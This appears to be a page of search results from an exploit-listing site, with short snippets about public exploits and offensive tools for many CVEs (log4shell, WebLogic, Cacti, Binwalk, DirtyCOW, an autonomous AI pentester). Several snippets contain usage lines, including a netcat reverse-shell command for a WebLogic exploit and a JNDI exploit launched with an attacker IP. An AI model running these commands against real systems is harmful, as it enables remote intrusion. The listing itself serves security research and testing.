229283 matches found
CVE-2023-32364-macos-app-sandbox-escape
CVE-2023-32364-macos-app-sandbox-escape Exploit for CVE-2023-32364...
stunner
STUNNER Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats WebRTC. If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the TURN protocol into t...
PIE-Stack-Clash-CVE-2017-1000253
PIE-Stack-Clash-CVE-2017-1000253 Demo-ing CVE-2017-1000253 in a container. This demo relies on Qualys POC code that performs the exploit over CentOS. Install a vulnerable kernel root@kitploit: 1.Install CentOS 7 2.Install Docker 3.Edit the /etc/yum.repos.d/CentOS-Vault.repo file: 1.Change each...
JNDI-Exploit-1.2-log4shell
JNDI-Exploit-1.2-log4shell Details : CVE-2021-44228 Usage : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usag...
CVE-2020-14645
CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python ๏ผcomplete in one step๏ผ Useage: Python3 exploit.py -t -c tips: No echo Example๏ผ nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' then you will getshell...
CVE-2015-7547-Research
Initial work on glibc exploit CVE-2015-7547. Currently just returns to libc and calls system to provide a shell. This version does not account for ASLR yet...
webminscan
Webminscan Webmin Exploit Scanner CVE-2020-35606 CVE-2019-12840...
CVE-2024-32002
CVE-2024-32002 A Reverse shell generator for gitlab-shell vulnerability cve 2024-32002 This is still in the testing phase and I will update it once done...
CVE-2022-46196
CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...
CVE-2017-9805-Apache-Struts-Fuzz-N-Sploit
CVE-2017-9805StrutsFuzzNSploit Just a terrible script I wrote in Python3 to fuzz and if desired, exploit via Metasploit: CVE-2017-9805 RCE for CTF's or whatever in accordance with the thugcrowd DWTFYW Public License I stole from those cool cats =...
CVE-2019-2890
CVE-2019-2890 CVE-2019-2890 Exploit for WebLogic with T3...
EUVD-2026-77055
A security flaw has been discovered in itsourcecode Sales and Inventory System 1.0. This affects an unknown function of the file /pages/emptransac.php?action=add. The manipulation of the argument firstname results in sql injection. The attack may be performed from remote. The exploit has been...
CVE-2023-2255
Command to execute the creation of the exploit: sudo python3 starkelevate.py /home/bob/Downloads/librecommand.exe --output librecommand.odt educational purposes only...
CVE-2022-4510-WalkingPath
CVE-2022-4510-Binwalk This script allows you to generate exploits for targeting CVE-2022-4510 Binwalk vulnerabilities. The exploits can be used for testing and demonstrations. The supported options include SSH, command execution, and reverse shell. Prerequisites Python 3.x Usage 1. Clone the...
AutomatedRoot
AutomatedRoot Root MediaTek devices using mtk-su exploit CVE-2020-0069. Requirements Python 3.9 or newerin %PATH% for Windows. ADB in %PATH% for Windows. The CVE-2020-0069 PoC mtk-su. Usage Download the mtk-su binaries from the MediaTek's SU XDA page and move them to their corresponding folders...
JYso
JYso It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP ๐ Getting Started Guide ๐ข Please take a moment to read this document, it will help you quickly get familiar with JYso! ๐ง Use the Documentation...
wpstorecart-exploit
Simple PoC of wpstorecart before 2.5.30 plugin exploit CVE-2012-3576 written in bash...
org.cowpoop.moooooo
org.cowpoop.moooooo Android APK Based On Public Information Using DirtyCOW CVE-2016-5195 Exploit THIS IS A CURRENTLY A NON-WORKING APPLICATION I WILL REMOVE THIS ONCE TESTING IS SUCCESSFUL...
shannon
!NOTE Shannon 3.0 is live: deeper security code analysis, more thoroughly vetted findings, a rebuilt CLI, native CI/CD, professional PDF reports, and SARIF. Shannon is an autonomous, AI pentester for web applications and APIs. It analyzes your source code, identifies attack paths, and executes re...